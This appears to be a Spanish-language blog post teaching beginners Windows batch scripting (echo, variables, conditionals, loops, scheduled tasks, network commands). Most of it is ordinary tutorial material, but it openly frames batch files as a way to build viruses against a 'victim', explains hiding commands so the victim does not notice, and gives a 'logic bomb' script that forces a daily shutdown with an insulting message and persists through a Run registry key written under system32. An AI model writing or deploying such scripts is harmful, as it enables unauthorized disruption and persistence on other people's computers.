Empezemos por lo basico...
¿Que es batch?
Si queres te puedo decir que no es Batch. Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema o consola negra que a los que no saben nada les da tanto miedo).
Para programar en batch, necesitaremos el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
Como compilador, podremos usar el block de notas...
Inicio--->todos los programas---->Accesorios----->Bloc de notas
Una vez que ya sabemos como ingresar al bloc de notas ( nuestro compliador ) ya nos podremos llamar super Juankers xD..
Los comandos basicos de Batch son los siguientes:
*ECHO: imprime un texto en pantalla
*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador
Bueno, ahora, abre nuestro super compliador ( nuestro bloc de notas ) y comenzemos a practicar:
Escribe esto:
@echo off
title Primer Programa
echo Presiona una tecla:
echo Wenas
pause>nul
exit
Recuerda! esto guardalo como
elnombrequequieras.BAT... no necesariamente en mayusculas, pero el .bat es fundamental para el funcionamiento del programa
screnn de como queda el programa !
ahora... sabras que significa el codigo que copiaste...
@echo off:
Este codigo lo que hace es ocultar todos los comando que vas a utilizar
en el programa, sino nos apareceria lo que pusimos y la victima se
daria cuenta de que es un virus en caso de que lo sea.
title:
este es el nombre que aparece en la ventana del MS-DOS cuando ejecutas el programa.
echo:
Sirve para mostrar en pantalla o imprir datos.
Ej: echo Franco
mostrara por pantalla Franco
pause:
Interviene en el programa creando una pausa que se va cuando tocas alguna letra
echo: Ya sabemos
pause>nul:
esto es lo mismo que lo anterior pero unicamente que no muestra el
cartel en la pantalla que dice "presione un tecla para proseguir"
exit: Sale de la consola de MS-DOS
Las variables se usan en la mayoria de los lenguajes de programacion. Son datos que pueden ir cambiando a medida que el programa corre ( como su nombre lo indica son variables) xD. Las variables pueden adquirir diferentes valores letras y numeros, tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.
Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %franco%
Go Practica:
@echo off
title Welcome to variables exercise:
echo Presiona una tecla para continuar
pause>nul
set /p nombre=como te llamas?
set /p edad=cuantos anios tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% anios verdad?
echo como te puede gustar %comida%?
pause > nul
exit
Ahora a examinar el code...
hasta pause>nul ( el primero ya sabemos )
set /p loquesea:
Con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamar variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.
echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD
Aqui se imprimen los datos en pantalla un texto usando las variables, como mencione al principio
las variables se llaman entre "%". Entonses el batch imprimira en
pantalla el valor de las variables nombre, edad y comida adicionadas.
Hay tipos de variables, que nos ayudan a la hora de crear nuestros programas y virus y que suben mucho la probabilidad de que el programa tenga exito.. a estas variables, las llamaremos variables de entorno, vienen por defecto, y sirven para indicar una ruta.
Por ejemplo:
todos conocen esta ruta:
C:\WINDOWS\SYSTEM32.. Una variable de entorno puede hacer esto:
%windir%\system32 .. es lo mismo que poner lo de arriba
pongamosle, que en un virus esta C:\WINDOWS\SYSTEM32... imaginense si el windows lo tiene en el disco d:\ u en otro disco... El virus ya estaria mal empezado y no funcionaria...
la variable de entorno hace la accion que le indiquemos directamente en la carpeta que le indiquemos en este caso %windir%=windows
¿SE ENTIENDE?
Ahora con la practica lo entenderan
Las variables de entorno mas importante son las siguientes:
%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz
Ejemplo de batch que ejecute el notepad o el bloc de notas
@echo off
echo Ahora se ejecutara el bloc de notas
%windir%\system32\notepad.exe
pause>nul
exit
Bueno... Empezemos con los que algunos estaban esperando...
Pero primero, ¿Que es una bomba logica ?
Una Bomba lógica es una parte de código insertada en un programa informático intencionadamente que permanece oculto hasta cumplirse una o más condiciones preprogramadas, en ese momento se ejecuta una acción maliciosa.
Algunos programas maliciosos como virus informáticos o gusanos informáticos suelen contener bombas lógicas que ejecutan una acción en una fecha determinada o al darse alguna condición. Para ser considerado bomba lógica, la acción ejecutada debe ser maliciosa o desconocida para el usuario. Por ejemplo los programas demos, que de desactivan pasado un periodo de tiempo, no son considerados bombas lógicas.
Segun wikipedia
Ahora, enseñare como crear una bomba logica ( muy basica) con el comando AT
Mira este code, te va a gustar... :P
shutdown -s -f -t 05 -c "Hola"
¿Que hace?... apaga el ordenador...
-s : sirve para darle la orden a la pc que se tiene que apagar
-f fuerza el cierre del ordenador cerrando los proceso que normalmente no lo dejan apagar
-t es en el tiempo que queres que se apage
-c deja un comentario siempre va entre comillas
Entonces creemos un batch que a las 9 pm apage la pc de nuestra "victima" xD
@echo off
AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat
REG ADD HKML\software\Microsoft\Windows\CurrentVersion\Run /v franco2
/t REG_SZ /d "c:/windows/system32/windosx.bat"
exit
Logicamente , lo que haria esto, es apagar el ordenador de nuestra victima, a las 17:00 y agregarse
al registro. osea apagarse todos los dias a las 5 PM
@echo offExplicaremos la nueva parte del code:
:menu
echo 1. ping a google
echo 2. ping a wikipedia
set /p var=a quien quieres hacer un ping??
if %var%==1 (goto goo)
if %var%==2 (goto wiki)
if %var%=="" (goto menu)
:goo
ping www.google.com
pause
goto menu
:wiki
ping www.wikipedia.com
pause
goto menu
if %var%==1 (goto goo)
ponemos %var%, por que es la variable que declaramos arriba (set /p var=). ¿Se entiende ?
ponemos cuando la variable sea uno vaya a :goo
if %var%=="" (goto menu)... Esto, Cuando se ingrese algun dato que no sea 1 o 2 volvera al menu..
Los bucles son comandos, que se realizan muchas veces, indefinidamente. Los bucles ( en batch )
se realizan facilmente...
Probemos...
@echo off
:bucle
echo Hola World
goto bucle
Esto, se ejecutara infinintamente, hasta que el programa se cierre...
( Esto nos da muchas ideas ) xD
Esto tambien se puede mezclar con variables y con sentencias condicionales ( IF )
Un Ejemplo con todo; ?
@echo off
set var=20
:bucle
if %var%==0 (goto exit) else set /A var=%var%-1
echo Wenas franco
goto bucle
:exit
echo hola
pause
exit
El comando AT, permite que se realize una determinada tarea ( que sabemos nosotros) a alguna
determinada hora ( la que este escrita en el code ) o en un determinado dia o mes, etc
Un ejemplo del comando AT:
@echo off
AT 19;00 shutdown -s -f -t 10 -c " Franco"
exit
Para los newbies si no saben como borrar las tareas
AT /delete
FTP
Iniciar el cliente ftp
IPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuración
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?
NET parámetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios
NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas
NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias
PING
Enivia paquetes a un host para comprovar su disponibilidad
TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior
TRACERT destino
muestra el camino que se toma hasta llegar a la ip
Por ahora esto es todo, voi a seguir maniana.... :D nos vemos
No hay comentarios:
Publicar un comentario